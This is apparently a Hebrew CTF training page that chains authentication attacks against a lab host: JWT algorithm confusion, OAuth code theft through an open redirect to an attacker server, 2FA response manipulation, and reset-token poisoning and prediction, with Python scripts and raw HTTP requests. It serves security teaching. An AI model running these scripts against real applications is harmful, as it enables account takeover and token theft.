לדלג לתוכן

אתגר CTF - אותנטיקציה מתקדמת

מבוא

אתגר זה משלב את כל הטכניקות שלמדנו בפרק 2. האתגר מדמה אפליקציה ארגונית עם מספר שכבות אותנטיקציה, וכל שלב דורש טכניקה שונה לbypass. המטרה היא להשתלט על חשבון האדמין ולקבל את ה-flag.


שלב 1: הbypass JWT באמצעות בלבול אלגוריתמים - Algorithm Confusion

תיאור

האפליקציה משתמשת ב-JWT לאותנטיקציה. לאחר התחברות עם חשבון רגיל, תקבלו טוקן JWT חתום ב-RS256. המטרה היא לגשת ל-/api/admin/users.

רמזים

  1. התחברו עם guest:guest וקבלו את הטוקן
  2. בדקו מה נמצא ב-/.well-known/jwks.json
  3. שימו לב לאלגוריתם בטוקן
  4. נסו לשנות את האלגוריתם ל-HS256
  5. השתמשו במפתח הציבורי כסוד HMAC

שלבי הפתרון

# Step 1: Log in and get a token
import requests
import jwt

TARGET = "http://challenge.ctf.local"

session = requests.Session()
resp = session.post(f"{TARGET}/login", json={
    "username": "guest",
    "password": "guest"
})
token = resp.json()['token']
print(f"[1] Token: {token}")

# Step 2: Obtain the public key
resp = session.get(f"{TARGET}/.well-known/jwks.json")
jwks = resp.json()
print(f"[2] JWKS: {jwks}")

# Step 3: Convert JWK to PEM
from jwt.algorithms import RSAAlgorithm
import json

public_key_pem = RSAAlgorithm.from_jwk(json.dumps(jwks['keys'][0]))

# Step 4: Create a token with algorithm confusion
payload = jwt.decode(token, options={"verify_signature": False})
payload['role'] = 'admin'
payload['sub'] = 'administrator'

# What's the trick here? Write the code that signs with HS256
# ...

# Step 5: Access the protected endpoint
resp = session.get(f"{TARGET}/api/admin/users", headers={
    "Authorization": f"Bearer {malicious_token}"
})
print(f"[5] Result: {resp.json()}")

מה אמורים לקבל

גישה ל-/api/admin/users תחזיר רשימת משתמשים ובתוכם לינק לשלב הבא.


שלב 2: הexploit OAuth לגניבת טוקן אדמין

תיאור

מתוך רשימת המשתמשים שקיבלתם, תגלו שהאדמין משתמש ב-OAuth לניהול. יש endpoint פנימי /oauth/authorize עם בעיית אימות redirect_uri.

רמזים

  1. בדקו את ה-OAuth endpoint שנמצא בשלב הקודם
  2. שימו לב לאופן שבו ה-redirect_uri מאומת
  3. חפשו open redirect באפליקציה
  4. שרשרו את ה-open redirect עם ה-OAuth flow

שלבי הפתרון

Step 2.1: Identify the OAuth flow
- גשו ל-/oauth/authorize?response_type=code&client_id=admin_panel&redirect_uri=...
- Check which redirect_uri values are accepted

Step 2.2: Find an Open Redirect
- Scan the app to find open redirects
- Hint: check /goto, /redirect, /next

Step 2.3: Chaining
- Build a URL that combines the open redirect with OAuth
- https://challenge.ctf.local/oauth/authorize?
    response_type=code&
    client_id=admin_panel&
    redirect_uri=https://challenge.ctf.local/goto?url=YOUR_SERVER

Step 2.4: Obtain the code
- Set up a server that captures the authorization code
- "Send" the link to the admin (in a CTF environment there's usually a bot)

שרת לקליטת הקוד

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/callback')
def callback():
    code = request.args.get('code')
    print(f"[+] Code: {code}")

    # Exchange the code for a token
    resp = requests.post("http://challenge.ctf.local/oauth/token", data={
        "grant_type": "authorization_code",
        "code": code,
        "redirect_uri": "...",
        "client_id": "admin_panel"
    })

    print(f"[+] Token: {resp.json()}")
    return "OK"

app.run(host='0.0.0.0', port=8080)

מה אמורים לקבל

טוקן OAuth שנותן גישה לפאנל הניהול, שם תגלו שהאדמין מוגן ב-2FA.


שלב 3: הbypass 2FA באמצעות מניפולציית תגובה

תיאור

לאחר שקיבלתם גישה עם טוקן ה-OAuth, אתם צריכים לעבור את שלב ה-2FA. בדקו את התגובה של השרת ומצאו דרך לעקוף.

רמזים

  1. שלחו קוד 2FA שגוי ובדקו את התגובה
  2. שימו לב ל-status code, headers, ותוכן הגוף
  3. שנו את התגובה ב-Burp
  4. בדקו אם יש גם אפשרות לדלג על 2FA ישירות

שלבי הפתרון

# Step 3.1: Send an incorrect code
POST /admin/verify-2fa HTTP/1.1
Authorization: Bearer OAUTH_TOKEN

{"code": "000000"}

# Response:
HTTP/1.1 401 Unauthorized
{"success": false, "redirect": "/admin/2fa"}

# Step 3.2: Modify the response
HTTP/1.1 200 OK
{"success": true, "redirect": "/admin/dashboard"}

# Step 3.3: If manipulation doesn't work, try:
# - Direct access to /admin/dashboard
# - Change cookie (verified=true)
# - Reuse an old 2FA code

# Step 3.4: Additional check
# Maybe 2FA can be bypassed via a direct API?
GET /api/admin/dashboard HTTP/1.1
Authorization: Bearer OAUTH_TOKEN
# The API doesn't always check 2FA!

מה אמורים לקבל

גישה לפאנל הניהול עם מידע על חשבון האדמין ולינק לשלב האחרון.


שלב 4: הchaining כל הטכניקות - השתלטות מלאה על חשבון

תיאור

בשלב זה תשלבו את כל מה שלמדתם כדי להשתלט על חשבון הראשי של המערכת (super-admin). השלב כולל:

  1. הexploit password reset poisoning עם Host header
  2. חיזוי טוקן איפוס (הטוקן מבוסס על timestamp)
  3. שינוי סיסמה וגישה מלאה

שלבי הפתרון

# Step 4.1: Host Header poisoning
POST /forgot-password HTTP/1.1
Host: challenge.ctf.local
X-Forwarded-Host: YOUR_SERVER

email=superadmin@ctf.local
# Step 4.2: If Host poisoning doesn't work, try token prediction
import hashlib
import time
import requests

TARGET = "http://challenge.ctf.local"

# Reset request
timestamp_before = int(time.time())
requests.post(f"{TARGET}/forgot-password", data={
    "email": "superadmin@ctf.local"
})
timestamp_after = int(time.time())

# Attempt to predict the token
for ts in range(timestamp_before, timestamp_after + 1):
    # Try different patterns
    candidates = [
        hashlib.md5(str(ts).encode()).hexdigest(),
        hashlib.sha256(str(ts).encode()).hexdigest()[:32],
        hashlib.md5(f"superadmin@ctf.local:{ts}".encode()).hexdigest(),
    ]

    for token in candidates:
        resp = requests.get(f"{TARGET}/reset-password?token={token}")
        if resp.status_code == 200 and 'expired' not in resp.text:
            print(f"[+] Valid token: {token}")
            print(f"    (timestamp: {ts})")

            # Change the password
            resp = requests.post(f"{TARGET}/reset-password", data={
                "token": token,
                "new_password": "pwned123",
                "confirm_password": "pwned123"
            })

            if resp.status_code == 200:
                print("[+] Password changed!")
            break
# Step 4.3: Log in as super-admin
resp = requests.post(f"{TARGET}/login", json={
    "username": "superadmin",
    "password": "pwned123"
})

token = resp.json().get('token')

# Step 4.4: Get the flag
resp = requests.get(f"{TARGET}/api/flag", headers={
    "Authorization": f"Bearer {token}"
})

print(f"FLAG: {resp.json()['flag']}")

סיכום הטכניקות בשימוש

שלב טכניקה קטגוריה
1 בלבול אלגוריתמים - Algorithm Confusion JWT
2 הchaining Open Redirect עם OAuth OAuth 2.0
3 מניפולציית תגובה / גישה ישירה 2FA Bypass
4 הpoisoning Host Header / חיזוי טוקן Account Takeover

מעבדות PortSwigger רלוונטיות

JWT

  • JWT authentication bypass via unverified signature
  • JWT authentication bypass via flawed signature verification
  • JWT authentication bypass via jwk header injection
  • JWT authentication bypass via jku header injection
  • JWT authentication bypass via kid header path traversal
  • JWT authentication bypass via algorithm confusion
  • JWT authentication bypass via algorithm confusion with no exposed key

OAuth

  • Authentication bypass via OAuth implicit flow
  • Forced OAuth profile linking
  • OAuth account hijacking via redirect_uri
  • Stealing OAuth access tokens via an open redirect
  • SSRF via OpenID dynamic client registration

2FA

  • 2FA simple bypass
  • 2FA broken logic
  • 2FA bypass using a brute-force attack

Account Takeover

  • Basic password reset poisoning
  • Password reset poisoning via middleware
  • Password reset poisoning via dangling markup

משאבים נוספים

קופסאות HackTheBox רלוונטיות

- Craft - Exploit JWT with algorithm confusion
- Oouch - OAuth attack with CSRF
- JSON - Exploit JWT token deserialization
- PlayerTwo - Chaining authentication vulnerabilities
- Unobtainium - Exploit JWT and SSRF

חדרי TryHackMe

- JWT Security - JWT challenges at various levels
- OAuth Vulnerabilities - OAuth attacks
- Authentication Bypass - authentication bypass
- OWASP Juice Shop - various authentication challenges

אתרים נוספים לתרגול

- PortSwigger Web Security Academy - the main source
- OWASP WebGoat - a learning lab
- Damn Vulnerable Web Application (DVWA)
- HackTheBox Web Challenges
- Root-Me - Web challenges

טיפים לפתרון

  1. תמיד תתחילו בזיהוי הטכנולוגיה - JWT/OAuth/SAML
  2. מפו את כל נקודות הקצה לפני שמתחילים לתקוף
  3. קראו את הודעות השגיאה בתשומת לב - הן חושפות מידע
  4. בדקו headers, cookies, ו-response bodies
  5. אל תשכחו לבדוק גם את הדברים הפשוטים - לפעמים הפתרון פשוט
  6. תעדו כל שלב - זה יעזור לכם לחזור אחורה אם נתקעתם
  7. אם נתקעתם - חזרו לתיאוריה. לפעמים הפתרון נמצא בהרצאה